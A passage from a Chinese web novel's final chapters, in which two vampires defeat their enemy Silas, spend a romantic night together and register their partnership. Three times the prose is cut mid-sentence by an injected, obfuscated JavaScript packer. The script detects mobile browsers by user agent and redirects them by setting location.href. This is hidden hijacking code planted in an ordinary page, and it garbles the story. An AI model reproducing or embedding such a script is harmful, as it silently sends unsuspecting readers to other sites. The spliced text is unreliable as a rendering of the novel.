在对她日复一日的好奇与渴念中,他能做的实在有限,只有沿着她的脚步一路收集,收集,和收集而已。 奥黛笑了,伸手摸了摸他头。 他的头发被剪得很短,触感既硬又痒,忍不住又摸了一次。 “那一边呢?是什么?” 她指着右边的柜架问。 “是要送给你的礼物。”黎信步抬手摸了摸刚才她触碰到的地方,声音愈发低哑。 “礼物?” “你出生以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118199|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的每一年,我都根据当年的大事记准备了一份相关的礼物。”黎信步说:“这间房放了其中一部分,还有一间房全部堆满了。” 奥黛一怔。 她从来都没过过生日,自然也很少收到生日礼物。 她与薄莎不约而同地认为自己的出生并非出于父母的期盼,于是每到生日的那一天,她们俩各自排满行程,从不在一起庆祝。 毕竟并没有什么好庆祝的。 感受到戒指忽然传来奥黛的低落情绪,黎信步一怔,“你不喜欢吗?那我——” “不是。” 【只是从来都没有人庆祝过我的诞生。】 奥黛摩挲着他的指骨,这样想。 【那么现在有了。】 他说:“奥黛,欢迎你来到这个世界上。” 奥黛抬起头,站在巨大的玻璃柜下,那些花花绿绿、长短不一的礼物盒像垒成的大山一样挡在了她的面前。 却并不沉重。 她有些高兴,来回踱着步子,视线一一扫视,像骄傲的国王在检阅她的军队。 这是有人虔诚地期待并庆祝她降生的铁证。 这时,她的视线停顿在一只淡紫色的书签上,上面的紫罗兰押花书签吸引了她的注意:“这也是送我的?我之前在霭国住的庄园里就种满了紫罗兰。” “这就是长在那附近的紫罗兰。”黎信步说。 奥黛倏地想起黎信步微信头像上的那张照片,那眼熟的城堡尖塔似乎就是她在20世纪一直生活的地方。 也是在那里,西拉斯将她封印。 “你去过紫罗兰庄园?” “嗯。” 三年前,黎信步升任夜游队队长,浏览血族贵族的文件时,他终于确定了奥黛的身份——海尔珀林女公爵。 上面对于她的记载不多,只记录了她生于1699年,死于1925年,被血猎所杀,长眠于霭国的城堡。 至今黎信步想到那份文件,仍会心尖一痛。 他辛苦寻觅了十年的人原来早就死在了九十七年前。 他迟了整整九十七年。 怎么会不遗憾。 “今年我认识了海尔珀林家族的血仆艾琳,按照她给的信息和方位,四月的时候,去了一趟霭国。打算,”他转头看着奥黛,喉结滚了滚,艰涩地道:“拜祭你。” “但是那里似乎对人类设限,我在森林里迷了路,远远看见有紫罗兰盛开,却怎么也接近不了。只好朝城堡的方向远远地拜祭了一下。” 奥黛叹了口气,轻抚着书签说:“他们不知道我是被封印,都以为我死了。” 说完,她一顿。 怎么会那么巧? 四月份——那么她就是在他拜祭后才从封印里出来的。 一个荒诞的想法一闪而过,奥黛突然问:“……你拜祭我的时候使用明火了?” 黎信步点头:“我在那附近给你烧了点天地银行,怕你缺钱花。” “……” “怎么了?我做错了?” “不,”奥黛感叹道:“西拉斯估计怎么也想不到,他坚不可摧的魔法阵居然是被神秘的东方力量给打破的。” 黎信步一怔,旋即笑了起来。 奥黛也笑了。 彼此的笑声交织在昏暗的室内,两人乐不可支地倚着玻璃柜坐在地上。 大概就是命中注定吧。 她的怀表救了他,而他又误打误撞解开了她的封印。 他们之间的羁绊,很早就已经注定。 一阵铃声搅扰了长夜温馨的宁静,奥黛手机响了起来,是特族局传来的消息: “找到西拉斯的踪迹了。” 顷刻间,竖瞳四目相对,残影飞出天际。 两双黑色翅膀同时飞入喧闹的夜色。 这长夜,该结束了。 34. 黎明 飞行,几乎是血族与生俱来的天赋。 两对薄而坚韧的黑色翅膀在月色下穿行,披上一层银灰色冷光,一往无前地朝商场的裸眼3D大屏上掠去。 巨大的电子屏幕上,正在放映乙游广告。恶龙口中的火球冒着灼灼热气,如山石一样猛地砸向公主与勇士,屏幕上顿时出现四分五裂、地动山摇的特效。 那火球太过逼真,几乎就要击中黎信步的翼膜。他本能地拢骨一偏,在呼啸的狂风里,顿时失去了平衡。 一只修长苍白的手及时地拉住了他。 公主执剑用力斩落飞向勇士的火球。 “去拥抱风,去感受风,风会托举你的。”奥黛牵着他的手,如放飞雏鸟般将他再一次推入风中。 新生的吸血鬼依言而行,借着风的推力,轻盈划过长空。 在五光十色的霓虹夜幕里,他们一齐穿过钢铁森林,飞往更为辽阔的大地。 此时,吸血鬼的优异感官逐渐在黎信步的身体里觉醒。 眼睛,能看得更远,他看清了大江对岸提篮奶奶腕间的茉莉花串。 鼻子,能嗅得更灵,他闻见了远方夜市上烤得滋滋冒油的五花肉香。 耳朵,能听得更清,他听见了百米下夜店的笙歌,摊贩的吆喝,甚至小巷里情侣的亲吻。 世界成倍地放大、清晰,喧哗又吵闹。 他却并不觉得讨厌,相反,他很喜欢。 这就是奥黛的世界。 他终于,进来了。 两对黑羽停在了偏远的市郊,翅膀收拢,仔细留意着周遭的气息。 两人背靠着背,指尖不时相碰,无声交换着彼此视角的发现。人的味道,吸血鬼的味道,冷凝下来却经年不散的焦臭味道。 还有,血的味道。 侦查完毕,他们飞到了不远处的夜游队队员面前。 大家都知道他们这两天发生的事了,一个个眼眶湿润地看着黎信步,不说话。 徐让接受不了他忽然变成了这副血族的模样,猛地冲过来一拳砸向他的胸膛,却又在堪堪砸到他时收了力。 “疼不?”徐让端详着他的样子,低声问。 “你又没打到我。”黎信步说。 “你知道我问什么。” “不疼,不信你给我两拳。” 徐让再度抡起拳头。 黎信步站着不动,抬眉啧了一声:“还真给啊。” 挥来的拳头变成了拥抱,徐让用力地拍了一下他的背说:“欢迎归队,队长。” 队员们抹着眼泪,笑说:“欢迎归队!队长!” 黎信步对肉麻过敏,转过身去:“行了,速战速决,一会还吃宵夜呢。给我把枪。” 鹿露递给黎信步一把银色手枪,又递给奥黛一只圣银军刀,然后捧来两件黑色的衣服:“这是宁博士之前为你们准备的作战服。” 是两件宽大的斗篷。 不知由什么材质做成的,触摸时既柔又韧,还兼具一定的硬度。在月光的映照下,编织在其中的金属丝线泛着淡淡冷光,像是蟒蛇身上的细密鳞纹。 奥黛环顾四周,只看到几个耷拉着脸的小白大褂,便问:“宁白人呢?” “被西拉斯给抓了。”小白大褂哭丧着脸。 黎信步随手将斗篷披在自己身上,沉声道:“分头搜,他就在附近,跑不了。” “是!” 这是一片废弃的钢铁厂。 厂区很大,厂房林立,逐一搜查要费不少功夫。道路被疯长的野草占据,其中有不少马鞭草,严重干扰吸血鬼的认知,只是经过,就让吸血鬼目眩头晕,泛起一阵恶心。 奥黛冷嗤:“血猎的把戏。” 靴底毫不留情地碾过杂草,下巴朝其中一片厂房点了点:“那边。” 顺着她指引的方向望去,远方,月下,一排掉漆的细杆路灯歪七扭八地站在路边,像极了等待召唤的丧尸。 两人转瞬就来到了路灯下。 但这里的路灯因年久失修,已经不会发亮,灯架上结满了蛛丝,隐约能够看见旁边有几只黑乎乎的窗户,透不出一丝光来。 因为窗户都从里面被木条与厚布给钉死了。 屋内被改造成了一间简陋的小型生物实验室,不大的实验桌上摆满了五颜六色的试剂,桌边是几位勤恳实验的科研人员——全是被西拉斯绑架而来的。 宁白将其中一个试剂倒入培养皿中,原本蠕动着的活体组织立刻如枯萎一般丧失了生命力。 她回过头,对身后的人轻轻摇了摇头,宣告道:“实验失败。” 闻言,原本倾身坐着等待结果的西拉斯往后微靠,左肩的血迹从椅背上一路蜿蜒,滴落到了地上,汇成了一滩小小的血泊。 他面不改色,淡淡应了一声:“继续。” 这是圣银子弹造成的伤口,如果不进行取弹和处理,是不会主动愈合的。 宁白盯着他微微发颤的肩膀,关切道:“需要我帮忙吗?你看起来不太好。” “不必。”西拉斯抚摸着无名指上的紫色戒指,冷声说:“继续。” 宁白欲言又止。 旁边几位科学家更是敢怒不敢言。 他们被西拉斯抓过来,是为了完成一个几乎不可能的命题——逆初拥。 即把被初拥的吸血鬼恢复成人。 初拥之后,人体基因会迅速改写,无论是细胞的新陈代谢还是器官系统,都会更迭出一套新的运行逻辑,要想逆转这些,几乎不可能。 他们的导师,研究吸血鬼的泰斗成蕴之院士在去世之前销毁了所有关于逆初拥的资料与数据,并留下遗言: 逆转初拥,天方夜谭。 尽管在场的人类都明白这个浅显的道理,也深知这么大的课题绝不是他们这几个人在这样简陋的实验室花上几天时间就可以完成的。但为了拖延时间,等待救援,他们还是得陪这个满脸阴翳的吸血鬼玩过家家。 “可以再抽一管你的血吗?”宁白装模作样地拿着采血器材走到了西拉斯的身边。 西拉斯直接挽起了袖子,露出了毫无血色的手臂。手臂上疤痕狰狞,那是他剜去海尔珀林印记时留下的痕迹,感受到对方微微惊讶的视线,他立刻翻转了手臂,将与海尔珀林家族有关的一切,覆盖在了阴影下。 宁白蹲在他的身边,用橡皮管往上轻轻一扎,青蓝色的血管就更加明显地凸显了出来。 镊子夹着碘伏棉球,如上色般缓慢地在皮肤上擦拭,左一圈,右一圈。 她不动声色地用余光打量着西拉斯,发现他一用件黑色兜袍从头盖住了脚,除了一枚淡紫色的戒指牢牢戴在无名指外,别无他饰。 “你的戒指很好看。”她没话找话道地试探,“我猜你一定很喜欢吧。” 猩红的眸子微微一动,然后挪开了手,挡住了戒指,冷淡道:“不。” “那为什么还要一直戴着?” 许久,西拉斯都没有回答。 就在她以为西拉斯不会再回答的时候,却听见他疲惫地道:“摘不下来了。” 宁白继续涂着碘伏,十分热情地替他出主意:“需要我帮你想想办法吗?我可以——” 忽然,她身旁的采血器材被他狠狠地拂到了地上,发出的清脆响声使她与身后科学家们为之一震。 “女士,我并不是一个好说话的人。” 西拉斯站了起来,扯下了橡皮管,随意扔在了她的面前,不带感情的血眸如毒蛇一样扫视着她的脸:“如果你再妄图拖延,我会直接,拧掉你的头。” 话音刚落,密封的大门轰然坠地。 奥黛和黎信步踏着门板,并肩走了进来。 “总算来了。”宁白看得眼前一亮又一亮,骄傲地对她的师兄师姐说:“帅吧,他俩战袍,我新做的。” 六十一岁的师兄和六十四岁的师姐颤巍巍对望一眼,谨慎地摸着拐杖说:“帅是帅,但白啊,要不咱还是先走吧。” 几个年岁更长的科学家们小心翼翼地点头。 宁白飞快地打包了好几管血,拉着他们就往门外飞奔。 三只吸血鬼同时朝房间中心扑来,巨大的能量场在三人的周围迸发,试管清脆崩裂,实验台骤然崩塌,天花板轰然掉落。 废墟之上,西拉斯难以置信地看着黎信步:“你……被初拥了?” 跨越百年的仇恨与嫉妒一瞬间点燃,想要质问奥黛,又更想质问另一个人。 他唯一一次对人类下死手,就是对黎信步。 ——他见到了他手上的蔷薇戒指。 几乎已经能够预见到了,对方和自己一样的痛苦命运。 要想结束这样的命运的方法唯有一死。 所以,他予他一死,趁他还没有被初拥以前。让他以人类的身份,体面地,死去。 就不会像他这么痛苦了。 然而他怎么也想不到,他不仅没有死,而且还被海尔珀林家族的女人初拥了。 更令他想不到的是,对方不以为耻,反而笑着对他说:“是啊,她初拥我了。” “自甘堕落!!!” 西拉斯双眸倏地瞪大,眼睛由浅转深,紧咬着牙关,从喉咙深处发出愤怒的吼声。 他不能理解! 他做梦都想恢复的人类身份,竟然有人舍得任性割舍? 竟然有人情愿变成一只嗜血怪物? 竟然有人会与一只吸血鬼长相厮守? 这个人的身体明明也是冷的,为什么没有被抛弃?! 一双黑色的翅膀瞬间展开,两边长翼摧枯拉朽,掀动着巨风与烟尘朝奥黛与黎信步袭来。 奥黛问:“还记得该怎么飞么?” 黎信步点头:“当然。” 两人同时默契后退,借由风势,一前一后阻截住西拉斯,他们的斗篷被风此起彼伏地托举着,在月下散发出幽幽的冷光。 当风吹向奥黛时,她的翼骨顺风而偏,幽灵的速度迅速穿梭在西拉斯的眼前,挥起银色匕首使他眼花缭乱。 当风吹向黎信步时,他悬停于空,扣动扳机,子弹立刻借着风势冲了出去。 就在那枚子弹即将击中奥黛的前一秒种,她忽然闪身。一抹银光瞬间绽放在西拉斯的眼前,他想要躲避已经来不及了,弹头擦过他的耳朵与脸颊,划出一条长长的血线。 风有偏爱和保护的对象,几梭银弹接连射去,西拉斯堪堪躲避,身上顿时多出几道带血的伤口。 几回合下来,他甚至来不及抬手召唤魔法阵,就败下阵来,不支地跌入废墟里。 黑色的长袍染满了血污与灰尘,遮脸的兜帽被风吹落,露出他精致而狼狈的五官。 他蓦地吐出了一口血,浑身无法抑制地颤动,看着眼前的人,一时间竟有些恍惚。 额上的蜿蜒下来的血迹迷蒙了他的视线,他眯着眼睛,表情有些微妙,一时间竟不知到底是怨毒还是眷念。 仿佛,在透过她凝望着另一个人。 不知该爱还是恨,毕竟她已经丢下了自己一百年。 直到剧烈的疼痛从手心传来,对方掷来的一把银刀,将他的整只手掌被钉入了废墟里,他这才看清,那朝她走来的人,究竟是谁。 奥黛俯身拔出军刀,蹲下身来,毫不留情地将银刀掼入了他的胸膛。 冰冷的血液喷溅在了她的脸上,她却并不觉得畅快。 但不管怎样,一切都该结束了。 她想。 可是,西拉斯忽然阴狠地笑了一下,不知从哪爆发出来巨大的力量,死死地攥住了她握刀的那只手。 圣银匕首被他双手握着抽了出来,紧接着,他整个人有如被无形的力量提拉般弹起,瞬间闪现出了十几步之远。 奥黛眼神一凛。 他为什么还没死?! 这时一点红色的微小颗粒被风无声地吹落到了她的面前。 奥黛突然意识到他吸食了能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123114|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够刺激吸血鬼力量的帝蒙花。 一丁点剂量的帝蒙花就足够让吸血鬼增强自身两倍的力量了,她望着这漫天被他吸食过的红色尘雾,眼睛危险地眯了起来。这么多剂量,足以让他忘记一切痛苦,刺激出百倍以上的力量。 同样的,在恢复意识以后,他也会承受肉身所不能承担的痛苦。 但是西拉斯显然已经顾不上这些了。 他缓缓地直起身来,汩汩的血迹流淌下来,如同一只在浴血新生的恶鬼。僵硬地抬起了那只被捅穿的手,模糊的血窟窿中,一个魔法阵正在快速凝结。 意识已然失控。 沸腾喧嚣的心里只有一个念头: 杀了他们! 要把这里的人和吸血鬼,统统杀干净! 粗壮的魔法光线在他手里像奔腾的闪电一样胡乱扫射,发出了响尾蛇一般的躁动声响,一轮魔法阵在他的背后冉冉升起。 他没有章法地朝奥黛和黎信步冲来,比先前更快、更猛、更狠厉。身上又添了几道弹痕,地上拖出了一条长长的血迹,可他丝毫不在意。 狩猎般抬眼,望着两只展翅的吸血鬼,他意念一动,手里的光束一分为二,二分为四,编织成密集的大网,无情地朝他们这对亡命鸳鸯网罗铺下。 奥黛和黎信步能感知到身后的光在后面穷追不舍。 他们在废弃的钢铁厂区奔跑、跳跃、飞翔,光网一次又一次扑了个空,只捕捉到他们的残影。 但这并不是长久之计。 奔跑中,似乎听到宁白的一声呐喊,两人耳尖微动,彼此交换了一个眼神,然后分别朝着不同的方向掠去。 西拉斯身形一顿,五指捏动,手中的光网忽然凝聚成了两柱巨大的光线,迅猛地朝两人的方向射去。 两人遥遥对望了一眼,蓦地停了下来,任凭那光柱朝他们冲来。 就在那光柱即将落到他们身上时,两人同时抬起斗篷,上面的细腻鳞纹像密密麻麻的镜块,将光束吸纳以后,奇异地反射而出。 强光下,两人的斗篷上的鳞纹渐渐浮现出了跃动的字母。 N.B 轰! 西拉斯被反射而来的两道光柱击中,不支地倒在了地上,尘灰飞扬,光轮熄灭。 他的身上冒出了浓重的焦黑的烟雾。 “……牛逼。”黎信步不由得感叹。 远处,宁白肘搭师兄、手挽师姐,对老科学家们得意一笑:“那当然,我可是成门的。” 老师兄老师姐骄傲地为她鼓掌,与有荣焉:“我们成门,牛逼!” 奥黛快速飞回到西拉斯的面前,砍断了他的手。 他却像不知疼似的,兀自念着光明咒语。 转眼间,四周浮起了细小的光粒,却只能凝聚成肉眼可以看到的微暗光团,怎么也凝聚不成真正的光明光束。那些光团经过斗篷的反射,再一次反射到了西拉斯身上,他的黑袍被燎出了一个又一个破洞,露出了森然白骨和缕缕黑烟。 而他,如同精密的仪器失去了控制,仍在徒劳地、不知疲倦地发射着光芒,像在绝望中自我凌迟。 直到。 奥黛面无表情地拾起了地上的他那只残掌,摘下了那枚紫罗兰戒指。 光团瞬间停滞、消散,那双阴鸷疯狂的眼睛微微一颤。 有如洪水倾泻般,被封存的痛苦骤然袭来。 “它是我的!”他怒吼着,大口大口地吐着血。 奥黛怒不可遏地将圣银军刀再一次捅入他的胸膛:“你也配拿这枚戒指么?” “它是我的!” “是我的!” “我的!!” 他歇斯底里地吼道。 强忍着浑身上下剧烈的痛苦,西拉斯迸发出最后一点力量,一把推开奥黛,夺过了她手里的戒指。 他看上去已是强弩之末,残手汩汩地往下淌血,一把圣银军刀明晃晃地插在他的胸间,黑袍上满是弹孔与灼痕,白骨随处可见,身上没有一块好肉。可不知怎么,竟然有那么大的执念,支撑着他站了起来。 张开嘴,紫罗兰戒指被他扔进了嘴里。 喉结一滚,咽下,他终于露出了痴痴的餍足笑容。 奥黛震惊又憎恶地看着他摇摇欲坠的身体,颤声质问:“既然那么喜欢,为什么当初要杀了她——” “是她杀了我!” 西拉斯忍不住大笑了起来,大口大口的血从嘴里涌出:“只有活在世上的人才不算死吗?我早就死了!被她杀死了!” “如果,真能死在她手里……就好了。” 他笑得声泪俱下,歇斯底里。 他弯下腰,用手捂住了肚子,隔着皮肤感受着最后一点她留下来的痕迹。 笑声凄厉绝望。 此时天色渐明,沉寂的死灰渐渐复苏。 倏然,他朝着东边的方向剧烈奔跑。 警笛呼啸而过,奥黛与黎信步的残影猛追,都追不上这只末路的困兽。 银色的子弹一排排地打进他的黑袍,却阻挡不住他奔跑的双足,飞扑的双翼。 黑影快得难以看清,只在地上留下一条越发深沉的血迹。 他只顾飞奔,像是要追赶什么。 奥黛长翅一振,刚要再追,却被黎信步拉了回来。 他指着青灰色的天空摇了摇头。 太阳要出来了。 奥黛顿住了。 望着残影消失的方向,血眸颤动,眼里浮现起一抹错愕。 一道刺眼的金光穿破云层,喷薄倾泻,无遮无蔽地落到了西拉斯的身上,如同一团烈火将他吞没。 在剧烈的蚀骨的痛苦中,他捂着胃,如释重负地笑了。 光明将他吞噬。炙热将他焚毁。 再没有什么能将他们分开。 “你看……” “我现在……” “终于又暖和起来了……” 他抱着日光高兴地说。 35. 正文完结 酒红色的天鹅绒窗帘漏出了一指宽的缝,月光趁机闯入,爬过两座微微突起的山丘,一路滑落至了节节隆起的山脊,穿过圆润有力的丘谷后,一路跌向了未知的禁地,成为了床上跃动的光斑。 那山丘上的细小黑点像一粒种子,每当被发颤的低吟灌溉时,它们就忍不住破土而出,伸展为遮天蔽日的翼伞。 室内无端起了狂风,撩动得窗帘剧烈舞动,混乱交织。 新生的吸血鬼情动时总是不能好好控制自己的翅膀,偶尔顶出一点尖尖,偶尔两翼突然伸长变大,莽撞又青涩。 奥黛用蕾丝手套轻抚他的翼膜,摩挲他的翼骨,隐忍又富有耐心地哄诱他列阵的翅膀鸣金收兵。 翅膀上的触觉格外敏感,他能感受到那轻薄微凸的手套是如何抚摸着他的,翼骨不由自主顺着她掌心的方向,争先恐后地折叠着挤了过去,那些没有被照拂到的翼膜本能地展平轻蹭,祈求着她的垂怜。 奥黛心道不好,眼见他的双翼毫无章法地越伸越长,越长越大,忙加重了力道摁住他。没想到被这一摁,他翅膀更加兴奋,颤动着掀起气流,漫卷了整间房间。 整间房都陷入了凌乱的交缠。 他们在飞舞的书页中接吻。 丘谷一下又一下地耸动着。 这时,他忽然停了下来,在她的耳畔克制地喘息,眼睛变成了深红色,幽深且蛊惑地看着她说:“手套。” 她当然知道他的用意,把脸埋进了枕头里,无力出声回应他,便在心里说: 【不要。】 每当他情动的时候,他的身体就会变得很快乐,也很吵闹。 手上触碰到的每一处都是他直白浓烈、光明磊落的占有欲,丝毫不给她回避、撤退的余地。 奥黛第一次觉得自己与生俱来的读心能力是一种负累,唯有戴上手套才能与他滚烫的喧嚣隔离。 偏偏这人在床上还爱撒娇。 “摘了吧好不好。摘吧。”他嗓音低哑,轻声诱哄,但动作却不停,含过她的耳垂,啄吻她的肩峰,轻舔她的肘弯,淡红的嘴唇停顿在手套丝带上的宝石处,不解,就是蹭。 一下一下地蹭。 为了不泄露出闷哼,她用心声拒绝—— 【不。不好。】 这时所有的动作都停了下来,月光也不再晃动。 她看见他抬起头,就连双翼也委屈地耷拉在了身侧。 “你是不是嫌烦我了?”他半跪着,忽然有些哀怨地说,贴住了她。 奥黛凌乱的黑发铺在雪白的枕头上,只余一双通红的眼睛瞪着他。 是谁教的他这样? 突然一动不动,也搅得人让人不上不下的。 他—— 明明戴着能感受她情绪的戒指,拥有能摸到她的心声的能力,却还要故意曲解她的意思,贴在她的耳边说: “你就是嫌我烦了。” “……”奥黛被他污蔑有些生气。 长腿一勾,挺腰一翻,陷在枕头里的人顿时成了黎信步。 黎信步刚一抬头,就被她摁着眉骨重重押入枕头里。 她撑着他紧实的胸膛,慢慢直起了身子,蜷曲的黑发在她的背后一颤一晃,月光重新跳动了起来。 女爵从不掉入自证陷阱。 她想要什么,就要得到什么。 不知过了多久,她力道渐歇,又被他坐起来按着继续。 手套不知什么时候被他咬了下来,扔到了床角,兴奋到极点时,大脑一片空白,她徒劳地捂住他的唇,却堵不住他心头喧嚣的爱。 【我爱你。】 【我好爱你啊。】 【我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你……】 【太吵了!】 她在心里抗议。 忽然,她的指尖一凉。 黑暗中,一颗冰冷的泪珠滚烫地坠落到了她的手背。 奥黛的心尖被什么给攥紧了。 “黎信步,你哭了?”她惊讶地看向他。 他浑身一僵,眼里的湿润还没有来得及隐藏,猝不及防,对上她眼睛的时候,一滴晶莹的泪珠再次淌下。 心里传来洪水一样奔腾漫溢的声音。 他哑声说:“没有。” 似乎觉得自己这次在床上的表现很糟糕,翅膀收不住,心声收不住,眼泪也收不住,他有些沮丧地想,奥黛一定不喜欢他了。 会不会离开他? 会不会讨厌他? 奥黛叹了口气,轻柔地擦掉他的泪痕:“不会。真的不会。你现在,很可爱。” 黎信步的大脑一片空白,眉头渐渐压了下来,满脸寒色:“可爱?” 这是好评价吗? ——在他们刚刚结束的事后? 正想着,发现奥黛的脸忽然凑近,他的心跳慢了半拍,听见她说:“就是喜欢的意思。” 奥黛咬住了他的唇,抓住了他的手:【我也爱你。】 他一滞。 眸色狠狠加深。 下一秒,奥黛重新陷在了枕头里。 排山倒海的爱意骤然袭来,像得到某种鼓励似的,他的身体变得更吵了。 这一次,翅膀没再出来捣乱,眼泪也没有,他竭尽全力取悦她。 她的指尖摩挲着想去寻找手套,又被他十指嵌入指缝捉了回来,彼此的心意在指间交缠,喧闹的房间,只能听见月光的摇曳声。 不知过了多久,奥黛睡着了,黎信步精力充沛地下了床。 他蹲在了她的床边,几近虔诚地看着她。 月光易位,细碎的光斑落在了她的额间,她毫无防备地熟睡,凌厉的五官竟带有一丝摄人心魄的纯澈。 奥黛曾教过他如何对月亮祷告。 半晌,他小心翼翼地伸出了两指,并拢着轻点了一下自己的眉心,又将指腹映向了奥黛的额间。 ——他信仰的神明,只有她。 哗啦一声,窗帘被他拉紧。 与月光说再见。 奥黛这夜睡得很沉,似乎梦见了薄莎。 薄莎坐在了高高橡树上,倚着树干低头问她,“你现在看上去既快乐又不快乐,为什么?” 奥黛说:“我没有不快乐。” 薄莎噘起了嘴:“双生子你还骗我。” “好吧,只有一点点。”奥黛说,“我有时候总觉得太过快乐不对。” “为什么?”顿了一下,薄莎了然:“是因为我吗?” 奥黛没有反驳。 “因为父亲母亲还有我,都没有得到一个好结局,所以你连快乐都觉得有负担吗?” “……” 薄莎轻轻地笑了,“可是我们比谁都希望你有好结局啊。” 奥黛看着薄莎,后者从树上朝她伸出手来:“别忘记我们的特殊能力是什么——海尔珀林的血脉之下,你的每次快乐,我们都会与你共鸣。” “请放心地、大胆地、永远地往前走吧奥黛,你值得世界上最好最好的快乐。” 薄莎从树上轻轻一跃,扑到了她的怀里,紧紧握着她的双手。 树上,那些透明的、闪着光的魂灵通过她们相连的掌心,向她送去了祝福。 等她醒来,开窗一瞧,又是一轮新月升上星空了。 窗外的前坪,黎信步正给她精心养护的紫罗兰花叶浇水,似有所感地抬起头,与她的目光一撞,水花喷洒出一帘雨幕,他张开翅膀、捧着花洒悬停在了她的窗边。 “醒了,睡得好吗?”他问。 奥黛有些怔忡,视线越过他,看向了花圃里的紫罗兰。 现在还不是花季,但几十上百株紫罗兰忽然次第绽放,细长的花茎上挂满了成串的浅紫色花铃,轻风拂过,像层叠的波浪。 波浪带来甘甜的芳香,像甜蜜的庆贺。 在庆贺声里,奥黛忽地笑了。 “黎信步。”她说,“我们好像忘了一件事。” 一件,非常非常重要的。 大事。 明明这间办公室,与之前相比一点变化也没有。 但奥黛觉得它好像有哪里不一样了。 猪肝色的大办公桌上摆放着各类机器,李主任坐在一盆绿油油的吊兰后边推着眼镜对他们笑。 墙上还张贴着宣传标语: “创建文明单位,构建和谐社会。” 归根结底,奥黛认为,可能是因为自己最近认识汉字了。 “一看你俩就是来初拥登记的吧。”李主任说,“什么都瞒不过我。” 黎信步指着自己显眼的红瞳:“倒也没想瞒你。” “我是说,奥黛第一次来我这录脸,那时候我就猜你俩准有戏。” “嗯?”黎信步疑惑地看着她。 李主任看透一切:“拍证件照,我让她笑一下,你在旁边笑得嘴都咧到耳后根了,你拍自己证件照怎么不笑。” 黎信步轻咳一声:“我一会就笑。” “跟我来吧。”李主任飞快地准备好了材料,起身带他们走向另一间房。 推开门,里面别有洞天。 这间房不算很大,白墙上悬挂着整齐的红绸,正中摆放着一个由玫瑰与百合装点的礼台,走进门就能感受到庄重喜庆的氛围。 两人一起走上礼台,李主任清了清嗓子问:“根据我国的吸血鬼暂行管理条例,吸血鬼一生只能初拥一个人,被初拥成吸血鬼的人类将不再具备初拥其他人类的权利,请问你们可以做到吗?” 奥黛说:“可以。” 黎信步重重点头:“可以。” “请问你们是否能够做到相互忠诚、相互包容、相互关心,共同维护人类和吸血鬼社会的和谐幸福?” 奥黛说:“可以。” 黎信步重重点头:“可以。” 李主任架好了相机,说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126506|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“笑一下。” 奥黛嘴角上扬好几个像素点,黎信步大方地露出了虎牙与酒窝。 咔嚓一声,照片定格,被粘贴在了初拥登记证上。 钢戳印下,李主任将新出炉的初拥证明交给两人,宣布道:“现在你们是合法的初拥伴侣了,祝福你们。” 奥黛刚想伸出手去接,证件已经被黎信步珍重地捧在了手里。 三人刚回到档案室,大门忽然被打开,徐让大咧咧走了进来,问黎信步:“他们说你回来了我还不相信,队里一摊事呢怎么在这摸鱼?” 黎信步问他:“你怎么知道我领证了?” 徐让:“?” 徐让说:“你之前的作战报告还没交,今天必须要给我。” 黎信步:“刚领的。” 徐让怒吼:“谁问你了!” 档案室的门再次被打开,宁白拿着医药箱走了进来,对黎信步说:“快,趁你还在新吸血鬼的阶段,让我抽十管八管血的,支持一下我的科研事业。” 黎信步问她:“你怎么知道我领证了?” 宁白:“?” 她飞快地看了一眼奥黛。 奥黛点了一下头。 宁白淡定表示:“就算你领了证,今天我也非抽到你的血不可。” 黎信步:“刚领的。” 宁白祝福道:“千年好合千年好合,伸出左手谢谢。” 档案室的门又被打开,鹿露风风火火走了进来,对黎信步说:“队长,特族局门口刚收到了十箱奇怪的包裹,箱子上有吸血鬼的痕迹。” “你——” 黎信步突然正色:“谁送的?” “上面有署名。” “谁?” “迦莱尔。” 奥黛抬起了头,迦莱尔王子? 难道是因为不满明天赫纱来签署和平条约,他这时候还想着要从中作梗? 单位门口,夜游队员们身穿防爆服紧紧围着那些大木箱。 余米道:“检测了三遍,里面没有定时炸弹装置和有毒气体。” “那里面有什么?” “是礼花。”余米小心地推了一下眼镜:“十箱全部是礼花,还有一张贺卡。” 贺卡上画着一只披着披风、带着王冠的鬼脸,上面写道:“亲爱的妹妹,加冕后的第一次活动,希望你玩得小心。” “小心”两字被划掉,改成了“开心”。 “他在威胁女王,他在挑衅我们。” 徐让怒了。 